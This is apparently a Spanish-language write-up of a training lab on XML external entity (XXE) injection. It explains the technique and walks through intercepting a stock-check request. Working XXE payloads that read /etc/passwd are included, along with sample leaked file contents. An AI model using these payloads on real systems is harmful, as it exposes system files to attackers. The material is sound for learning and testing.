Skip to content

Exploiting XXE to retrieve files

Para realizar un ataque de inyección XXE que recupere un archivo arbitrario del sistema de archivos del servidor, es necesario modificar el XML enviado de dos maneras:

  • Introduzca (o edite) un DOCTYPE elemento que defina una entidad externa que contenga la ruta al archivo.
  • Edite un valor de datos en el XML que se devuelve en la respuesta de la aplicación, para hacer uso de la entidad externa definida.

Por ejemplo, supongamos que una aplicación de compras verifica el nivel de existencias de un producto enviando el siguiente XML al servidor:

La aplicación no realiza ninguna defensa particular contra los ataques XXE, por lo que puede aprovechar la vulnerabilidad XXE para recuperar el /etc/passwdarchivo enviando la siguiente carga útil XXE:

c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Esta carga útil XXE define una entidad externa &xxe;cuyo valor es el contenido del /etc/passwdarchivo y utiliza dicha entidad dentro de ese productIdvalor. Esto provoca que la respuesta de la aplicación incluya el contenido del archivo.

c
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

LAB: Exploiting XXE using external entities to retrieve files

20251113015927.png

Al inicia el laboratorio encontraremos un sitio web:

20251113020205.png

Al interceptar la request de check stock, observaremos que este se tramita mediante un xml.

20251113021136.png

20251113020241.png

Agregando a la solicitud un payload malicioso podemos ver el archivo /etc/passwd

c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>

20251113021035.png